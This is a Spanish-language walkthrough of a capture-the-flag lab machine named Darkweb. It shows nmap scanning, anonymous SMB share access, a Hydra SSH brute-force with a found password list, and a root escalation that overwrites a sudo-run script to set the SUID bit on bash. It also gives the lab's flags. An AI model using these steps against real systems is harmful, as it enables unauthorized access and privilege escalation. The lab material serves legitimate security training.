CTF Darkweb Hard

URL Download CTF = https://drive.google.com/file/d/1F9hlGGkTs8X1sOPdwp6yWl2AYHXExpbC/view?usp=sharing

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip darkweb.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_run.sh darkweb.tar

Info:

██████╗ ██╗    ██╗███╗   ██╗██████╗ ██████╗ ██╗
██╔══██╗██║    ██║████╗  ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║  ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║  ██║╚═╝
██║     ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝ ╚═════╝ ╚═╝

          ==                           
         @+:@ @##@                     
          @++:-----+@ @@#+:----:+#     
           #-+-----:+:---------:       
            *::-----++-----::::#       
             ::------+:--------:       
             #-+------+:-::-----#@     
              *::+=@@#++-------::@     
              @+=     @++::+#@@@#*#    
               #-@                     
                *+#++@                 
               +-:::+-@                
               :-:+:::+                
              @+::*::::                
             *::++-::*                 
          =:--:-:++ @-#                
      #*:---:--++@   @@                
      @::-:--++*                       
       @::-:++#                        
         *++*                          

 :: Plataforma de máquinas vulnerables ::
 :: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::

 █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
 █           FLAG{Pwn3d!_is_awesome!}            █
 █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█


[✔] bc ya está instalado.

[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual      
[✔] Activando máquina virtual      

[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-14 08:13 EST
Nmap scan report for 172.21.0.2
Host is up (0.000036s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:df:30:8b:17:c5:3c:80:1c:88:f1:f8:c0:ac:cc:fa (ECDSA)
|_  256 aa:6a:33:65:fc:54:b7:8f:98:ff:1f:3d:79:a3:05:3c (ED25519)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-12-14T13:13:29
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds

Por lo que vemos hay un SMB activo, por lo que vamos a intentar a enumerar los recursos compartidos del servidor:

smbclient

smbclient -L //<IP>

Info:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        darkshare       Disk      
        IPC$            IPC       IPC Service (8e37253f7c68 server (Samba, Ubuntu))

Vemos que hay un recurso compartido llamado darkshare y nos deja enumerar de forma anonima, por lo que vamos a ver si nos deja entrar de forma anonima al recurso compartido:

smbclient //<IP>/darkshare

Si ejecutamos esto nos dejara entrar, si listamos el recurso compartido con un ls:

smb: \> ls
  .                                   D        0  Sat Dec 14 05:24:32 2024
  ..                                  D        0  Sat Dec 14 05:24:32 2024
  archivesDatabases.txt               N      563  Sat Dec 14 05:16:30 2024
  ilegal.txt                          N      204  Sat Dec 14 05:24:32 2024
  drugs.txt                           N      526  Sat Dec 14 05:17:49 2024
  credentials.txt                     N      631  Sat Dec 14 05:17:13 2024
  hackingServices.txt                 N      662  Sat Dec 14 05:18:19 2024

Veremos que hay varios archivos, entre ellos destaca uno llamado ilegal.txt, nos lo descargaremos de la siguiente forma:

get ilegal.txt

Y su contenido sera el siguiente:

St qj htrufwyfx jxyf uflnsf f sfinj, xtqt vznjwt vzj qt ajfx yz, df vzj jxyt rj uzjij rjyjw jq uwtgqjrfx: q2kmnaxwhgdy2sz5wnqrarvrmuemzlfn5xewrdwxdgtdpeaxtpki6ini.tsnts

#NOTE:

use 5, you understand me

Por lo que vemos el primer texto parece estar codificado en cesar y lo que dice debajo de la nota del numero 5, podemos deducir que es con un desplazamiento de 5, por lo que nos iremos a la siguiente pagina:

URL = Decoder Cesar

Configuramos en la parte de Decodificador de Cifrado César lo siguiente:

En la parte de Mensaje cifrado por Código César: ponemos:

St qj htrufwyfx jxyf uflnsf f sfinj, xtqt vznjwt vzj qt ajfx yz, df vzj jxyt rj uzjij rjyjw jq uwtgqjrfx: q2kmnaxwhgdy2sz5wnqrarvrmuemzlfn5xewrdwxdgtdpeaxtpki6ini.tsnts

Y en la parte de Desplazamiento/Tecla (número): ponemos el numero 5 para que sea con ese desplazamiento.

Una vez echo todo esto anterior le daremos DESCIFRAR y podremos ver lo siguiente:

No le compartas esta pagina a nadie, solo quiero que lo veas tu, ya que esto me puede meter el problemas: l2fhivsrcbyt2nu5rilmvmqmhpzhugai5szrmyrsyboykzvsokfd6did.onion

Por lo que vemos es un enlace .onion la cual se puede ver con el navegador TOR, por lo que vamos a instalar en nuestra maquina host el navegador TOR para ingresar esa URL y a ver que nos muestra.

Instalar TOR

sudo apt install torbrowser-launcher

O si no lo podemos descargar en la pagina oficial:

URL = Download TOR

Y tendremos que hacer lo siguiente sin ser root:

tar -xf tor-browser-linux-x86_64-14.0.3.tar.xz
cd tor-browser/
chmod +x start-tor-browser
./start-tor-browser

Una vez que ya tengamos el navegador de TOR abierto le tendremos que dar al siguiente boton:

Le daremos al boton de Connect y echo esto pegaremos en la URL el siguiente link que decodificamos:

Pagina Web TOR

URL = l2fhivsrcbyt2nu5rilmvmqmhpzhugai5szrmyrsyboykzvsokfd6did.onion

Veremos que nos carga una pagina web Dark Forum y si le damos a un enlace llamado Access the Darkest Web, nos llevara a una pagina web con varios links.

Si le damos a redroom 27 nos metera como en un chat, que si ponemos user paar que nos de el username, vremos lo siguiente:

acker: User located. Sending details... Username: dark, IP: 192.168.1.105, Last login: 3 days ago.

Vemos que nos da un nombre de usuario llamado dark y si ahora nos vamos a otro link llamado Hidden Marketplace y le damos al boton de Purchase de la seccion llamada Confidential List's Passwords, nos llevara a un archivo TXT que contiene lo siguiente:

dark!6669
h@ck3r_p@ss
1234deadbeef
q9jp3o8gxr#4
tr1cked43x!
a9x$e5f!th
sl@ve2the$y$tem
k!ll3rbl00d#10
f0rg3tt1ng#ev3r
@rchetype#22
enigm@t1c_4c1d
#chronic_6j23
W!nT3rR1d3r!
5hadowhunter_99
t3mpor@l_hack!
blind_h@cker#17
C0mp1lex$24
f@1l1ngDarkn3ss
4llC0ntr0lsf0rmed
deadc0d3!666
W1nt3rCh3ckmate_
xX_b@ckd00r_Xx
h@ck1ng_$p@wn
K0rruptedRoot!02
s1l3nce!000
~n0_1ntrus1on~
d4rkw@ves_@_88
co_d3mned_h@ck
p!p3l0w1n$h@ck
56r!m_revelation
DarkKnight99!____
oniondarkgood
Th3%_1nvis1bl3
ph0rce_breach!X9
pr0xys3v3r!x17
kn0ck3rd00r#!23
f3ars_th3_sh@d0w
3vil_und3rworld!
8n1ghtm@r3_p@ss
p@ssw0rddark!04
h@x0r_5kyline#44
@9gr34t_0verl0rd
subtr@ct0r_ninja
r!p_@_fakeb@by
cl@nd3st!n3_2_0
777_n3ver_ch@ng3
b!llyh@cker2024
4lph@_surviv0r
Blackout!eXodus22
666root_!3
B@d#@ss__sh3l!11

Por lo que tendremos que utilizar hydra para sacar las credenciales del usuario dark con la lista que obtuvimos:

SSH

hydra -l dark -P dic.txt ssh://<IP> -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-14 09:42:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 51 tasks per 1 server, overall 51 tasks, 51 login tries (l:1/p:51), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: dark   password: oniondarkgood
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 22 final worker threads did not complete until end.
[ERROR] 22 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-14 09:42:08

Vemos que nos saco las credenciales del usuario.

Por lo que nos conectaremos por ssh:

ssh dark@<IP>

Metemos la contarseña oniondarkgood y estaremos dentro, por lo que leeremos la flag del user.

user.txt

2eedcb4e067f16aa9c795fd05f3056bd

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for dark on 994316e6d77d:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dark may run the following commands on 994316e6d77d:
    (ALL : ALL) NOPASSWD: /home/dark/hidden.py

Por lo que podremos ejecutar ese script como root, si vemos el codigo por dentro, veremos lo siguiente:

#!/bin/python3

import subprocess

# Ruta al archivo Update.sh
script_path = '/usr/local/bin/Update.sh'

# Ejecutar el script de Bash
try:
    subprocess.run(['bash', script_path], check=True)
    print("Script ejecutado con éxito.")
except subprocess.CalledProcessError as e:
    print(f"Hubo un error al ejecutar el script: {e}")

Si vemos los permisos de la carpeta donde esta contenida, veremos que somos del grupo de la carpeta y podremos eliminar el archivo Update.sh y crearlo nosotros para escalara a root.

drwxrwx--- 1 root dark 4096 Dec 14 12:22 bin

Y dentro de la carpeta como dije esta:

-rwxrwx--- 1 root root   21 Dec 14 12:22 Update.sh

Por lo que haremos lo siguiente:

rm Update.sh

Info:

rm: remove write-protected regular file 'Update.sh'? y

Con esto ya habremos eliminado el archivo y ahora crearemos el mismo archivo pero con lo siguiente:

nano Update.sh

#Dentro del nano
#!/bin/bash

chmod u+s /bin/bash

Lo guardamos y ahora ejecutamos lo siguiente:

sudo /home/dark/hidden.py

No pondra:

Script ejecutado con éxito.

Y si vemos los permisos de la bash:

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Vemos que ha funcionado, por lo que solo tendremos que poner:

bash -p

Y con esto ya seremos root, leeremos la flag de root:

root.txt

dee080ee744e9fb38952f236457f543b

Last updated